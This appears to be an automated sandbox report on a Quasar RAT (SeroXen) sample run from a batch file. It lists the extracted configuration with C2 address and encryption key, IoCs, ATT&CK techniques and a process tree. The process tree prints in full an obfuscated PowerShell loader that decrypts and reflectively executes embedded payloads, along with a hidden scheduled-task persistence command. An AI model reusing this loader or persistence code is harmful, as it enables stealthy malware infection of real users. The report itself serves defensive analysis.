quasar | b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d

Analysis

max time kernel
149s
max time network
155s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
01/07/2024, 16:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 586KB
Sample240701-txm97ssdpl
SHA256 b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d
MD5 3a43120a8dd1e42ff894670710bd8bc4
SHA1 dbb9244231da204517f5d7a0e5ca713b64a3c175
SHA512 15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026
SSDEEP 12288:qAtzNGPPmXaudwDKHYeRfRJUnYNY+yjOc3zRMh0KYQgrR3dih:3BsXvudwG4eR5yN6c3VS0KZ9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar seroxen execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

15.5.0

Botnet

SeroXen

147.185.221.20:49485

Mutex

QSR_MUTEX_rzhQPLl57DqbMvbZp9

Attributes

encryption_key
M2nw0PLpJxuyZQLyQ14p
install_name
Client.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/4860-254-0x00000192AABF0000-0x00000192AAC4E000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	4860	powershell.exe
4	4860	powershell.exe
12	4860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
216	powershell.exe
4860	powershell.exe
3328	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4572	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3328	powershell.exe
3328	powershell.exe
3328	powershell.exe
216	powershell.exe
216	powershell.exe
216	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeIncreaseQuotaPrivilege	216	powershell.exe
Token: SeSecurityPrivilege	216	powershell.exe
Token: SeTakeOwnershipPrivilege	216	powershell.exe
Token: SeLoadDriverPrivilege	216	powershell.exe
Token: SeSystemProfilePrivilege	216	powershell.exe
Token: SeSystemtimePrivilege	216	powershell.exe
Token: SeProfSingleProcessPrivilege	216	powershell.exe
Token: SeIncBasePriorityPrivilege	216	powershell.exe
Token: SeCreatePagefilePrivilege	216	powershell.exe
Token: SeBackupPrivilege	216	powershell.exe
Token: SeRestorePrivilege	216	powershell.exe
Token: SeShutdownPrivilege	216	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeSystemEnvironmentPrivilege	216	powershell.exe
Token: SeRemoteShutdownPrivilege	216	powershell.exe
Token: SeUndockPrivilege	216	powershell.exe
Token: SeManageVolumePrivilege	216	powershell.exe
Token: 33	216	powershell.exe
Token: 34	216	powershell.exe
Token: 35	216	powershell.exe
Token: 36	216	powershell.exe
Token: SeIncreaseQuotaPrivilege	216	powershell.exe
Token: SeSecurityPrivilege	216	powershell.exe
Token: SeTakeOwnershipPrivilege	216	powershell.exe
Token: SeLoadDriverPrivilege	216	powershell.exe
Token: SeSystemProfilePrivilege	216	powershell.exe
Token: SeSystemtimePrivilege	216	powershell.exe
Token: SeProfSingleProcessPrivilege	216	powershell.exe
Token: SeIncBasePriorityPrivilege	216	powershell.exe
Token: SeCreatePagefilePrivilege	216	powershell.exe
Token: SeBackupPrivilege	216	powershell.exe
Token: SeRestorePrivilege	216	powershell.exe
Token: SeShutdownPrivilege	216	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeSystemEnvironmentPrivilege	216	powershell.exe
Token: SeRemoteShutdownPrivilege	216	powershell.exe
Token: SeUndockPrivilege	216	powershell.exe
Token: SeManageVolumePrivilege	216	powershell.exe
Token: 33	216	powershell.exe
Token: 34	216	powershell.exe
Token: 35	216	powershell.exe
Token: 36	216	powershell.exe
Token: SeIncreaseQuotaPrivilege	216	powershell.exe
Token: SeSecurityPrivilege	216	powershell.exe
Token: SeTakeOwnershipPrivilege	216	powershell.exe
Token: SeLoadDriverPrivilege	216	powershell.exe
Token: SeSystemProfilePrivilege	216	powershell.exe
Token: SeSystemtimePrivilege	216	powershell.exe
Token: SeProfSingleProcessPrivilege	216	powershell.exe
Token: SeIncBasePriorityPrivilege	216	powershell.exe
Token: SeCreatePagefilePrivilege	216	powershell.exe
Token: SeBackupPrivilege	216	powershell.exe
Token: SeRestorePrivilege	216	powershell.exe
Token: SeShutdownPrivilege	216	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeSystemEnvironmentPrivilege	216	powershell.exe
Token: SeRemoteShutdownPrivilege	216	powershell.exe
Token: SeUndockPrivilege	216	powershell.exe
Token: SeManageVolumePrivilege	216	powershell.exe
Token: 33	216	powershell.exe
Token: 34	216	powershell.exe
Token: 35	216	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4860	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 3740	4512	cmd.exe	71
PID 4512 wrote to memory of 3740	4512	cmd.exe	71
PID 4512 wrote to memory of 3328	4512	cmd.exe	72
PID 4512 wrote to memory of 3328	4512	cmd.exe	72
PID 3328 wrote to memory of 216	3328	powershell.exe	73
PID 3328 wrote to memory of 216	3328	powershell.exe	73
PID 3328 wrote to memory of 2352	3328	powershell.exe	76
PID 3328 wrote to memory of 2352	3328	powershell.exe	76
PID 2352 wrote to memory of 200	2352	WScript.exe	77
PID 2352 wrote to memory of 200	2352	WScript.exe	77
PID 200 wrote to memory of 4172	200	cmd.exe	79
PID 200 wrote to memory of 4172	200	cmd.exe	79
PID 200 wrote to memory of 4860	200	cmd.exe	80
PID 200 wrote to memory of 4860	200	cmd.exe	80
PID 4860 wrote to memory of 3304	4860	powershell.exe	54
PID 4860 wrote to memory of 984	4860	powershell.exe	38
PID 4860 wrote to memory of 392	4860	powershell.exe	15
PID 4860 wrote to memory of 1560	4860	powershell.exe	29
PID 4860 wrote to memory of 1748	4860	powershell.exe	32
PID 4860 wrote to memory of 760	4860	powershell.exe	10
PID 4860 wrote to memory of 1540	4860	powershell.exe	28
PID 4860 wrote to memory of 3492	4860	powershell.exe	62
PID 4860 wrote to memory of 2692	4860	powershell.exe	64
PID 4860 wrote to memory of 916	4860	powershell.exe	13
PID 4860 wrote to memory of 1112	4860	powershell.exe	20
PID 4860 wrote to memory of 4656	4860	powershell.exe	60
PID 4860 wrote to memory of 712	4860	powershell.exe	16
PID 4860 wrote to memory of 1892	4860	powershell.exe	36
PID 4860 wrote to memory of 1092	4860	powershell.exe	19
PID 4860 wrote to memory of 1680	4860	powershell.exe	31
PID 4860 wrote to memory of 1480	4860	powershell.exe	27
PID 4860 wrote to memory of 1872	4860	powershell.exe	35
PID 4860 wrote to memory of 876	4860	powershell.exe	12
PID 4860 wrote to memory of 2248	4860	powershell.exe	39
PID 4860 wrote to memory of 2640	4860	powershell.exe	48
PID 4860 wrote to memory of 1260	4860	powershell.exe	24
PID 4860 wrote to memory of 1060	4860	powershell.exe	18
PID 4860 wrote to memory of 2632	4860	powershell.exe	47
PID 4860 wrote to memory of 1448	4860	powershell.exe	26
PID 4860 wrote to memory of 2624	4860	powershell.exe	46
PID 4860 wrote to memory of 3104	4860	powershell.exe	53
PID 4860 wrote to memory of 1228	4860	powershell.exe	23
PID 4860 wrote to memory of 2408	4860	powershell.exe	42
PID 4860 wrote to memory of 828	4860	powershell.exe	11
PID 4860 wrote to memory of 1220	4860	powershell.exe	22
PID 4860 wrote to memory of 1416	4860	powershell.exe	25
PID 4860 wrote to memory of 1612	4860	powershell.exe	30
PID 4860 wrote to memory of 2596	4860	powershell.exe	44
PID 4860 wrote to memory of 2792	4860	powershell.exe	50
PID 4860 wrote to memory of 1804	4860	powershell.exe	34
PID 4860 wrote to memory of 1212	4860	powershell.exe	21
PID 4860 wrote to memory of 2392	4860	powershell.exe	41
PID 4860 wrote to memory of 2584	4860	powershell.exe	43
PID 4860 wrote to memory of 1792	4860	powershell.exe	33
PID 4860 wrote to memory of 2380	4860	powershell.exe	40
PID 4860 wrote to memory of 992	4860	powershell.exe	17
PID 4860 wrote to memory of 3600	4860	powershell.exe	81
PID 4860 wrote to memory of 3600	4860	powershell.exe	81
PID 3600 wrote to memory of 3344	3600	cmd.exe	83
PID 3600 wrote to memory of 3344	3600	cmd.exe	83
PID 3600 wrote to memory of 4572	3600	cmd.exe	84
PID 3600 wrote to memory of 4572	3600	cmd.exe	84

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
1⤵
PID:828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k rpcss
1⤵
PID:876

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:992

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1⤵
PID:1092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1220

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1480

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1804

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1872

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1892

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:984

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2248

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2584

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2596

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2624

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2632

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2792

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3104

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_377_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:216
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:200
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\s7lkYiQd7F1R.bat" "
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3600
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:3344
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:4572

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3492

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 d2b2e09bffd835255b1fb57c2aa92e5c28c080eb033e1f042087d36a93393471
MD5 aeb24b5729d62e81a27174f46d431126
SHA1 baa02ac3f99822d1915bac666450dc20727494bb
SHA512 e62f6771339326a90f03b79f8a3321c4f00d66e5f228055f17b75d028895f80ce374bd0143ec971f55efa861b949ec672bfda9df7fb45444b17f3dbe479a5415
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_xphj4frz.e3t.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xphj4frz.e3t.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

s7lkYiQd7F1R.bat

Path C:\Users\Admin\AppData\Local\Temp\s7lkYiQd7F1R.bat
Size 276B
SHA256 8672624b5b4c5d8e7afdcd2821e5744e46d52665ca6505e5aeaad1ff62d2580a
MD5 de3067a0405f193d3c72a8f4296ee820
SHA1 6c32b0051cc577b19049ab009b21d3d5b29f552b
SHA512 39573e5f7d452986f04817936167deade674e5ecdcf3e708d43ac1d5e6ec9a5a89a90504c73f19c2ebeee4e1e2b4f49e62ca13d33bb0c58ba39fc0b4a05e78a0
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_377.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.bat
Size 586KB
SHA256 b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d
MD5 3a43120a8dd1e42ff894670710bd8bc4
SHA1 dbb9244231da204517f5d7a0e5ca713b64a3c175
SHA512 15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026
SSDEEP 12288:qAtzNGPPmXaudwDKHYeRfRJUnYNY+yjOc3zRMh0KYQgrR3dih:3BsXvudwG4eR5yN6c3VS0KZ9
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_377.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_377.vbs
Size 124B
SHA256 9ad9b5e10b7dfc0b0ac779dad3a338549d76fe8c0e08c73554b782a72afd71be
MD5 30828cfde07225050c574da9b83a2d0b
SHA1 992b4be9fd0169cfc51e480cd163bf67ea453e17
SHA512 26a8a77273c8214faf29796db46f81f1fcfe001d524c48eaaa329c75d25113c2f08d24b6f4a7cbe1c9e539721d37bb315901e785fa8048ce6e1a2564a3168479
MD5 SHA1 SHA512

Submit Download

memory/216-71-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/216-103-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/216-69-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/216-70-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/392-217-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/712-219-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/760-223-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/828-226-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/876-225-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/992-222-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1092-224-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1212-221-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1416-214-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1448-220-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1480-232-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1540-228-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1560-216-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1612-229-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1748-213-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1872-233-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/1892-231-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/2380-227-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/2584-215-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/3304-170-0x0000000001310000-0x000000000133A000-memory.dmp

Download

memory/3304-212-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/3328-46-0x000001999F8D0000-0x000001999F946000-memory.dmp

Download

memory/3328-6-0x000001999F340000-0x000001999F362000-memory.dmp

Download

memory/3328-55-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/3328-57-0x000001999F950000-0x000001999F9C0000-memory.dmp

Download

memory/3328-35-0x000001999F4C0000-0x000001999F4FC000-memory.dmp

Download

memory/3328-5-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/3328-56-0x000001999F4A0000-0x000001999F4A8000-memory.dmp

Download

memory/3328-116-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/3328-4-0x00007FF982870000-0x00007FF982A4B000-memory.dmp

Download

memory/3492-218-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/4656-230-0x00007FF942900000-0x00007FF942910000-memory.dmp

Download

memory/4860-254-0x00000192AABF0000-0x00000192AAC4E000-memory.dmp

Download

memory/4860-255-0x00000192AB050000-0x00000192AB062000-memory.dmp

Download

memory/4860-256-0x00000192AB0B0000-0x00000192AB0EE000-memory.dmp

Download